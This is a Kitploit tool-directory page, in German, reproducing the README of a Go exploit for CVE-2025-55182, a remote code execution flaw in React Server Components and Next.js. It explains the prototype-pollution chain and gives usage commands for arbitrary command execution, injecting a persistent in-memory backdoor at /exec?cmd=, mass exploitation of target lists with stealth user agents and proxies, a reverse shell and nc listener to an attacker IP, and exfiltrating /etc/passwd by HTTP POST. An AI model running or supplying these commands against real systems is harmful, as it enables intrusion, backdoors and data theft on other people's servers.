Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/keklick1337/cve-2025-55182-golang-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstestsCommand and ControlRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubkeklick1337/cve-2025-55182-golang-poc

CVE-2025-55182-golang-PoC

Go-basierter Proof-of-Concept für CVE-2025-55182, eine kritische RCE in React Server Components. Enthält Schwachstellenprüfung, Befehlsausführung, Memory-Shell-Injection, Reverse Shell, Batch-Scanning und Proxy-Unterstützung für autorisierte Sicherheitstests.

Repository anzeigenWebseite
611vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182 React Server Components RCE - Go PoC

⚠️ NUR FÜR AUTORISIERTE SICHERHEITSTESTS ⚠️

Beschreibung

CVE-2025-55182 (auch bekannt als CVE-2025-66478) ist eine kritische Remote-Code-Ausführungs-Schwachstelle in React Server Components (Flight-Protokoll). Dieses Tool ist eine Go-Implementierung des PoC für Sicherheitsforschung und autorisierte Penetrationstests.

Betroffene Versionen:

  • react-server-dom-webpack: 19.0.0 - 19.2.0
  • Next.js: 15.x (vor Patches: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7)
  • Next.js: 16.x (vor 16.0.7)
  • Next.js: 14.3.0-canary.77 und spätere Canary-Versionen

Schwachstellendetails

Der Exploit nutzt Prototype Pollution in der Flight-Protokoll-Deserialisierung aus:

  1. Verwendet die $@-Deserialisierung, um eine Chunk-Referenz zu erhalten
  2. Setzt Chunk.prototype.then als die then-Eigenschaft des Root-Objekts
  3. Setzt den Status auf RESOLVED_MODEL, um mit einem kontrollierten Fake-Chunk aufzurufen
initializeModelChunk
  • Löst die Blob-Deserialisierung aus, die response._formData.get mit der Angreifer-Nutzlast aufruft
  • Setzt response._formData.get auf den Function-Konstruktor für beliebige Codeausführung
  • Funktionen

    • Vollständige RCE-Fähigkeit - Ausführen beliebiger Befehle mit Ausgabe
    • Schwachstellenprüfmodus - Sichere Erkennung ohne Ausnutzung
    • Next.js-Versionserkennung - Automatische Version-Fingerabdrücke
    • Memory-Shell-Injektion - Permanenter Backdoor unter /exec?cmd=
    • Batch-Scanning - Multithreaded-Scanning mit JSON-Ausgabe
    • Umfassende Proxy-Unterstützung:
      • SOCKS5 mit/ohne Authentifizierung
      • SOCKS4/SOCKS4a
      • HTTP/HTTPS-Proxy mit/ohne Authentifizierung
    • Stealth-Modus - Browser-, Crawler- und Security-User-Agents
    • Ratenbegrenzung - Konfigurierbare Verzögerungen zwischen Anfragen
    • Reverse-Shell - mkfifo + nc (funktioniert auf Alpine/busybox)
    • Datenexfiltration - POST-Befehlsausgabe an Angreifer-Server
    • Plattformübergreifende Builds - Über 30 Betriebssystem-/Architektur-Kombinationen
    • JSON-Ausgabe - Maschinenlesbare Ergebnisse für Automatisierung

    Installation

    Vorgefertigte Binärdateien

    Laden Sie die neueste Version für Ihre Plattform von den GitHub-Releases herunter.

    Verfügbare Binärdateien:

    • Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
    • Windows: amd64, 386, arm64
    • macOS: amd64 (Intel), arm64 (Apple Silicon)
    • FreeBSD, OpenBSD, NetBSD: amd64, 386, arm, arm64
    • Und weitere...

    Aus dem Quellcode

    root@kitploit:~
    # Clone repository
    git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
    cd CVE-2025-55182-golang-PoC
    
    # Build for current platform
    go build -o cve-2025-55182 .
    
    # Or build for all platforms
    chmod +x build.sh
    ./build.sh
    

    Aus dem Quellcode erstellen

    Nach dem Ausführen von ./build.sh stehen die Binärdateien im Verzeichnis build/ für alle unterstützten Plattformen zur Verfügung.

    Verwendung

    Grundlegende Befehle

    root@kitploit:~
    # Check single target for vulnerability
    ./cve-2025-55182 -u http://target:3000 --check
    
    # Detect Next.js version
    ./cve-2025-55182 -u http://target:3000 --version-check
    
    # Execute command with output
    ./cve-2025-55182 -u http://target:3000 -c "id"
    ./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
    

    Memory-Shell (Permanenter Backdoor)

    root@kitploit:~
    # Inject memory shell (checks if already installed first)
    ./cve-2025-55182 -u http://target:3000 --memshell
    
    # Test if memory shell is active
    ./cve-2025-55182 -u http://target:3000 --test-shell
    
    # Execute command via memory shell
    ./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
    
    # After injection, you can also use curl directly:
    curl 'http://target:3000/exec?cmd=id'
    curl 'http://target:3000/exec?cmd=whoami'
    

    Benutzerdefinierte Header & SSL-Umgehung

    root@kitploit:~
    # Add custom headers (can be used multiple times)
    ./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
    ./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
    
    # Skip SSL certificate verification (for self-signed certs)
    ./cve-2025-55182 -u https://target:3000 --check -k
    ./cve-2025-55182 -u https://target:3000 --check --insecure
    
    # Combine with other options
    ./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
    

    Proxy-Unterstützung

    root@kitploit:~
    # SOCKS5 with authentication
    ./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
    
    # SOCKS5 without authentication
    ./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
    
    # SOCKS4 proxy
    ./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
    
    # HTTP proxy
    ./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
    

    Batch-Scanning

    root@kitploit:~
    # Batch check from file
    ./cve-2025-55182 --urls targets.txt --check
    
    # Batch scan with JSON output
    ./cve-2025-55182 --urls targets.txt --check --json -o results.json
    
    # Batch scan with multiple threads and stealth
    ./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
    
    # Save vulnerable targets to file
    ./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
    
    # Batch memory shell injection
    ./cve-2025-55182 --urls targets.txt --memshell --workers 10
    
    # Batch command execution
    ./cve-2025-55182 --urls targets.txt -c "id" --threads 5
    

    Netzwerk-Exfiltration

    root@kitploit:~
    # Reverse shell (mkfifo + nc, works on Alpine)
    ./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
    
    # Start listener on attacker machine first:
    nc -lvnp 4444
    
    # Exfiltrate command output via HTTP POST
    ./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
    
    # Start listener: nc -lvnp 4444
    

    Optionen

    OptionBeschreibung
    -u, --urlZiel-URL (z.B. http://localhost:3000)
    -f, --fileDatei mit Ziel-URLs (eine pro Zeile)
    --urlsAlias für -f/--file
    -o, --outputAusgabedatei für verwundbare Ziele
    --jsonErgebnisse im JSON-Format ausgeben
    -c, --commandAuszuführender Befehl (mit Ausgabe)
    --checkAuf Schwachstelle prüfen
    --version-checkNext.js-Version erkennen
    --proxyProxy URL (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port)
    -H, --headerBenutzerdefinierter Header (mehrfach verwendbar)
    -k, --insecureSSL/TLS-Zertifikatsprüfung überspringen
    --stealthStealth-Modus: browser, crawler, security (Standard: browser)
    --delayVerzögerung zwischen Anfragen (z.B. 2s, 500ms)
    --variantsMehrere Payload-Varianten für gründliche Prüfung verwenden
    --memshellMemory-Shell injizieren (permanenter Backdoor)
    --test-shellTesten, ob Memory-Shell aktiv ist
    --shell-execBefehl über Memory-Shell ausführen
    --revshell IP PORTReverse-Shell herstellen
    --exfil CMD IP PORTBefehl ausführen und Ausgabe per POST senden
    -t, --timeoutTimeout für Anfragen in Sekunden (Standard: 15)
    --threadsAnzahl gleichzeitiger Threads (Standard: 10)

    Proxy Types

    root@kitploit:~
    socks5://user:pass@ip:port  - SOCKS5 with authentication
    socks5://ip:port            - SOCKS5 without authentication  
    socks5h://ip:port           - SOCKS5 with remote DNS resolution
    socks4://ip:port            - SOCKS4 proxy
    socks4a://ip:port           - SOCKS4a proxy
    http://user:pass@ip:port    - HTTP proxy with authentication
    http://ip:port              - HTTP proxy without authentication
    https://ip:port             - HTTPS proxy
    

    Stealth-Modi

    ModeBeschreibung
    browserImitiert echte Browseranfragen (Chrome, Firefox, Safari, Edge) - Standard
    crawlerImitiert Suchmaschinen-Crawler (Googlebot, Bingbot, Baiduspider, etc.)
    securityVerwendet User-Agents von Sicherheitsscannern (Nessus, Nuclei)

    Memory-Shell

    Die Memory-Shell-Funktion injiziert einen permanenten Backdoor, der:

    1. Prüft zuerst - Vor der Injektion wird überprüft, ob die Shell bereits installiert ist
    2. Hooked http.Server.prototype.emit - Fängt alle HTTP-Anfragen ab
    3. Erstellt /exec-Endpunkt - Akzeptiert den cmd-Abfrageparameter
    4. Überlebt bis zum Neustart - Verbleibt im Serverspeicher
    root@kitploit:~
    # After injection:
    curl 'http://target:3000/exec?cmd=id'
    curl 'http://target:3000/exec?cmd=ls+-la'
    curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
    

    Projektstruktur

    root@kitploit:~
    .
    ├── main.go                   # CLI entry point
    ├── pkg/
    │   ├── colors/
    │   │   └── colors.go         # Terminal colors with --nocolor support
    │   ├── exploit/
    │   │   └── exploit.go        # Core exploit logic, memory shell, version detection
    │   ├── proxy/
    │   │   └── proxy.go          # SOCKS4/5, HTTP proxy support
    │   ├── scanner/
    │   │   └── scanner.go        # Batch scanning with JSON output
    │   └── stealth/
    │       └── stealth.go        # User-Agent randomization
    ├── build.sh                  # Cross-platform build script
    ├── go.mod                    # Go module file
    ├── go.sum                    # Go dependencies
    └── README.md                 # This file
    

    Plattformübergreifende Builds

    Das Skript build.sh erstellt Binärdateien für über 30 Plattformen:

    • Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
    • Windows: amd64, 386, arm64 (.exe)
    • macOS: amd64 (Intel), arm64 (Apple Silicon)
    • FreeBSD: amd64, 386, arm, arm64
    • OpenBSD: amd64, 386, arm, arm64
    • NetBSD: amd64, 386, arm, arm64
    • DragonFly BSD: amd64
    • Solaris/Illumos: amd64
    • Plan 9: amd64, 386
    • AIX: ppc64
    root@kitploit:~
    chmod +x build.sh
    ./build.sh
    

    JSON-Ausgabeformat

    Bei Verwendung des --json-Flags werden die Ergebnisse im JSONL-Format gespeichert (ein JSON pro Zeile):

    root@kitploit:~
    {"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
    

    Der vollständige Bericht (_report.json) enthält:

    root@kitploit:~
    {
      "scan_time": "2025-12-06T12:00:00Z",
      "total_urls": 100,
      "vulnerable_count": 5,
      "safe_count": 90,
      "timeout_count": 5,
      "results": [...]
    }
    

    Versionserkennung

    Das Tool kann die Next.js-Version erkennen aus:

    • X-Powered-By-Header
    • HTML/JS-Quelltext (__NEXT_DATA__, /_next/-Pfade)
    • Build-Manifest-Muster

    Verwundbare Versionen werden rot hervorgehoben.

    Haftungsausschluss

    ⚠️ WICHTIGER RECHTLICHER HINWEIS ⚠️

    Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt.

    Vorgesehene Verwendung

    • Sicherheitsforschung und Schwachstellenbewertung
    • Autorisierte Penetrationstests mit schriftlicher Genehmigung
    • Testen Ihrer eigenen Anwendungen und Infrastruktur
    • Bildungsdemonstration in kontrollierten Laborumgebungen
    • Entwicklung von Patches und Sicherheitsmaßnahmen

    Verbotene Verwendung

    Es ist strengstens verboten, dieses Tool zu verwenden:

    • Gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben
    • Für böswillige, illegale oder unbefugte Aktivitäten
    • Um unbefugten Zugang zu Computersystemen oder Netzwerken zu erlangen
    • Unter Verstoß gegen geltende lokale, staatliche, nationale oder internationale Gesetze
    • Um Systeme ohne Genehmigung zu stören, zu beschädigen oder zu gefährden

    Rechtliche Warnung

    Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen weltweit eine Straftat, einschließlich, aber nicht beschränkt auf:

    • 🇺🇸 USA: Computer Fraud and Abuse Act (CFAA) - bis zu 20 Jahren Haft
    • 🇪🇺 EU: Richtlinie 2013/40/EU über Angriffe auf Informationssysteme
    • 🇷🇺 Russland: Artikel 272-274 des Strafgesetzbuches
    • 🇬🇧 UK: Computer Misuse Act 1990
    • 🇩🇪 Deutschland: §202a-202d StGB
    • 🇨🇳 China: Strafrechtsartikel 285-287

    Keine Gewährleistung

    DIESE SOFTWARE WIRD OHNE JEGLICHE GEWÄHRLEISTUNG, WEDER AUSDRÜCKLICH NOCH STILLSCHWEIGEND, BEREITGESTELLT. DIE AUTOREN UND URHEBERRECHTSINHABER HAFTEN NICHT FÜR ANSPRÜCHE, SCHÄDEN ODER ANDERE HAFTUNG, DIE AUS DER NUTZUNG DIESER SOFTWARE ENTSTEHEN.

    Verantwortung des Benutzers

    Durch Herunterladen, Installieren oder Verwenden dieses Tools erkennen Sie an, dass:

    1. Sie allein für Ihre Handlungen verantwortlich sind
    2. Sie dieses Tool nur auf Systemen verwenden werden, die Sie besitzen oder für die Sie eine ausdrückliche Genehmigung zum Testen haben
    3. Sie alle mit der Nutzung dieser Software verbundenen Risiken verstehen und akzeptieren
    4. Der Autor trägt keine Verantwortung für Missbrauch oder verursachte Schäden

    Wenn Sie diesen Bedingungen nicht zustimmen, verwenden Sie dieses Tool nicht.

    Autor

    Vladislav Tislenko aka keklick1337
    Datum: 2025-12-05

    Lizenz

    Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.


    Verwenden Sie es verantwortungsvoll. Bleiben Sie legal. 🔐

    Tool herunterladen
    --workers
    Alias für --threads
    --nocolorFarbausgabe deaktivieren (für Windows/Pipes)
    -h, --helpHilfemeldung anzeigen
    -v, --versionVersion anzeigen